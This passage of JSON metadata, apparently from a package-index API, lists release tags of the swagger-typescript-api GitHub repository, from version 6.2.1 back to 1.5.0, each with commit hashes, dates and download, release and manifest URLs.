pi/releases/tag/6.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@6.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/6.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/6.2.1/manifests"},{"name":"6.2.0","sha":"93ec745ebe12890d56ae717776560a0fe35328fa","kind":"commit","published_at":"2021-03-03T15:11:35.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/6.2.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/6.2.0/manifests"},{"name":"6.1.2","sha":"49666e83c13682bc2ec6a5e50a341c25737083f0","kind":"commit","published_at":"2021-03-02T19:26:54.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/6.1.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/6.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@6.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/6.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/6.1.2/manifests"},{"name":"6.1.1","sha":"b5d3d502206e9370d1a36add7fbf1eaae76501de","kind":"commit","published_at":"2021-03-02T18:54:55.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/6.1.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/6.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@6.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/6.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/6.1.1/manifests"},{"name":"6.1.0","sha":"9621fed5739490c409263204994a45e29fdfcf90","kind":"commit","published_at":"2021-03-02T11:04:29.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/6.1.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/6.1.0/manifests"},{"name":"6.0.0","sha":"1cea367b0da9fbe4a1a799276fb00fa40bbdb735","kind":"commit","published_at":"2021-03-01T21:18:04.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/6.0.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/6.0.0/manifests"},{"name":"5.1.7","sha":"f6d1c67f216ea46dbbbe7a74bae23b210e7309ca","kind":"commit","published_at":"2021-02-24T01:30:04.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/5.1.7","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/5.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@5.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/5.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/5.1.7/manifests"},{"name":"5.1.6","sha":"0efc754e09183a2948d5905cbb9379a684c04da9","kind":"commit","published_at":"2021-02-19T17:59:42.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/5.1.6","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/5.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@5.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/5.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/5.1.6/manifests"},{"name":"5.1.5","sha":"683311a6b3a075082de43d229c0ae7dff301e95c","kind":"commit","published_at":"2021-02-19T07:50:38.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/5.1.5","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/5.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@5.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/5.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/5.1.5/manifests"},{"name":"5.1.4","sha":"e35c8513ea2d7ab77a71eabf2dddc5041513ed42","kind":"commit","published_at":"2021-02-18T08:14:03.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/5.1.4","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/5.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@5.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/5.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/5.1.4/manifests"},{"name":"5.1.3","sha":"45b93bc5739cfbec5f8974e3c9eac65dbcd35767","kind":"commit","published_at":"2021-02-18T00:03:15.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/5.1.3","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/5.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@5.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/5.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/5.1.3/manifests"},{"name":"5.1.2","sha":"5535462dceb7e84822701629efe02b30384db9f0","kind":"commit","published_at":"2021-02-15T12:06:44.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/5.1.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/5.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@5.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/5.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/5.1.2/manifests"},{"name":"5.1.1","sha":"798c8e959dc60bb7ac73fbbbc493bab8041a2ee2","kind":"commit","published_at":"2021-02-15T08:52:10.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/5.1.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/5.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@5.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/5.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/5.1.1/manifests"},{"name":"5.1.0","sha":"21c64fdaca1f617fb2a70c666669c3132f4fc3ad","kind":"commit","published_at":"2021-02-15T00:44:13.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/5.1.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/5.1.0/manifests"},{"name":"5.0.0","sha":"baf381470127baab8130e0ba25a9f8760a998aba","kind":"commit","published_at":"2021-02-12T23:39:25.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/5.0.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/5.0.0/manifests"},{"name":"4.4.0","sha":"0f6a69c1ba6f3c95b91f5a73942908541bb0ae84","kind":"commit","published_at":"2021-02-09T22:27:55.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/4.4.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/4.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@4.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/4.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/4.4.0/manifests"},{"name":"4.3.0","sha":"a3d2a82546e022807e4564db2c345cc3001e2d8b","kind":"commit","published_at":"2021-02-08T10:52:11.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/4.3.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/4.3.0/manifests"},{"name":"4.2.0","sha":"ba1a6877b8d2057ede0f96bc2b2b406dff62bcd2","kind":"commit","published_at":"2021-01-26T07:41:45.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/4.2.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/4.2.0/manifests"},{"name":"4.1.0","sha":"c320b9a17cf5f76caf67f00ae0ce964ea5a4bcbb","kind":"commit","published_at":"2021-01-22T09:21:01.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/4.1.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/4.1.0/manifests"},{"name":"4.0.5","sha":"e978e984a53d5f846740e383d48021b598dadfd3","kind":"commit","published_at":"2021-01-20T07:08:41.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/4.0.5","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/4.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@4.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/4.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/4.0.5/manifests"},{"name":"4.0.4","sha":"8c7ce9998d0f27f06707dc64b9db065078fc1af4","kind":"commit","published_at":"2021-01-15T08:43:38.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/4.0.4","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/4.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@4.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/4.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/4.0.4/manifests"},{"name":"4.0.3","sha":"364141563a9b0255ef1b8562aee7110bfa3d96b3","kind":"commit","published_at":"2021-01-14T17:43:02.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/4.0.3","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/4.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@4.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/4.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/4.0.3/manifests"},{"name":"4.0.2","sha":"a2a5fb7db688716230a3f1e5ea7ea7b421a0f76f","kind":"commit","published_at":"2021-01-12T13:54:47.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/4.0.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/4.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@4.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/4.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/4.0.2/manifests"},{"name":"4.0.1","sha":"c4781516979e148878d5897b96fcd5c42e5277a4","kind":"commit","published_at":"2021-01-12T11:57:01.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/4.0.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/4.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@4.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/4.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/4.0.1/manifests"},{"name":"4.0.0","sha":"14b6d3d3faf59cb6857376b9286a457ebc78406a","kind":"commit","published_at":"2021-01-12T10:51:04.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/4.0.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/4.0.0/manifests"},{"name":"3.1.2","sha":"4a5d7eaaa1088f24623e14d15e5c5721e2e7c9d0","kind":"commit","published_at":"2021-01-07T08:43:32.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/3.1.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/3.1.2/manifests"},{"name":"3.1.1","sha":"9781aff5c20d2315d776989317856fb17566b5b3","kind":"commit","published_at":"2020-12-23T11:14:51.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/3.1.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/3.1.1/manifests"},{"name":"3.1.0","sha":"14f59aaa81e7739e590bde40f265fbcd4a35af23","kind":"commit","published_at":"2020-12-21T08:04:21.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/3.1.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/3.1.0/manifests"},{"name":"3.0.0","sha":"1f6e21bea0f34812fef72a39d18527924b86a185","kind":"commit","published_at":"2020-11-10T09:50:24.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/3.0.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/3.0.0/manifests"},{"name":"2.0.0","sha":"93295596487bf23b95b179cebe038b7628ac8cbe","kind":"commit","published_at":"2020-10-28T06:37:24.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/2.0.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/2.0.0/manifests"},{"name":"1.12.0","sha":"a163999a46a40d99fc73027684e9d0c8bac6ca9f","kind":"commit","published_at":"2020-08-19T21:25:01.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/1.12.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.12.0/manifests"},{"name":"1.11.0","sha":"7a235842080f4ffbacc5e7608b9abc409f3bc9cd","kind":"commit","published_at":"2020-07-13T22:13:53.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/1.11.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.11.0/manifests"},{"name":"1.10.0","sha":"4b0ace20c2b6a5343182de52efb4892c0630d3ca","kind":"commit","published_at":"2020-06-26T21:54:13.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/1.10.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.10.0/manifests"},{"name":"1.8.4","sha":"8db57661c17baa5a63245ff3455a6dae5a7f16de","kind":"commit","published_at":"2020-06-17T23:10:31.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/1.8.4","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/1.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@1.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.8.4/manifests"},{"name":"1.8.3","sha":"dcb2dd25ef8f8474cdee4137585822ea27848e4d","kind":"commit","published_at":"2020-06-14T22:53:24.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/1.8.3","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/1.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@1.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.8.3/manifests"},{"name":"1.8.2","sha":"acc770b5b12a00e7c158d13a8194d196563067ab","kind":"commit","published_at":"2020-05-29T15:09:20.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/1.8.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/1.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@1.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.8.2/manifests"},{"name":"1.8.1","sha":"bcb095ade811defb2d8a222bdff3ccf5257673f7","kind":"commit","published_at":"2020-05-25T23:00:24.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/1.8.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/1.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@1.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.8.1/manifests"},{"name":"1.8.0","sha":"974e761e295be4faa82594c6ef5a68e485539398","kind":"commit","published_at":"2020-05-22T10:05:47.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/1.8.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.8.0/manifests"},{"name":"1.7.2","sha":"55529b8d08c242fd4c0a8f3882606c9563bf5a2e","kind":"commit","published_at":"2020-03-29T18:28:47.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/1.7.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@1.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.7.2/manifests"},{"name":"1.7.0","sha":"e56d604e316fda538eaf889ba770b88b0489e4e3","kind":"commit","published_at":"2020-03-26T21:40:46.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/1.7.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.7.0/manifests"},{"name":"1.6.3","sha":"669557603d1930ddabded7bfc4b6a94d1f4c8652","kind":"commit","published_at":"2020-03-26T11:09:32.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/1.6.3","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.6.3/manifests"},{"name":"1.6.2","sha":"2fdcf73eaba34ed2524fc19c50fc870726e3e343","kind":"commit","published_at":"2020-03-25T16:34:41.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/1.6.2","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/1.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@1.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.6.2/manifests"},{"name":"1.6.1","sha":"10d6e9cbed9cb24d77725af60d1496b534449366","kind":"commit","published_at":"2020-03-24T10:39:20.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/1.6.1","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"721b35ede08c6b2791e74dd259a37dba66229e38","kind":"commit","published_at":"2020-03-14T20:56:32.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/1.6.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags/1.6.0/manifests"},{"name":"1.5.0","sha":"c9a904f48b0072b84e68631957a4e5578099ee41","kind":"commit","published_at":"2020-03-10T00:42:36.000Z","download_url":"https://codeload.github.com/acacode/swagger-typescript-api/tar.gz/1.5.0","html_url":"https://github.com/acacode/swagger-typescript-api/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/acacode/swagger-typescript-api@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/acacode%2Fswagger-typescript-api/tags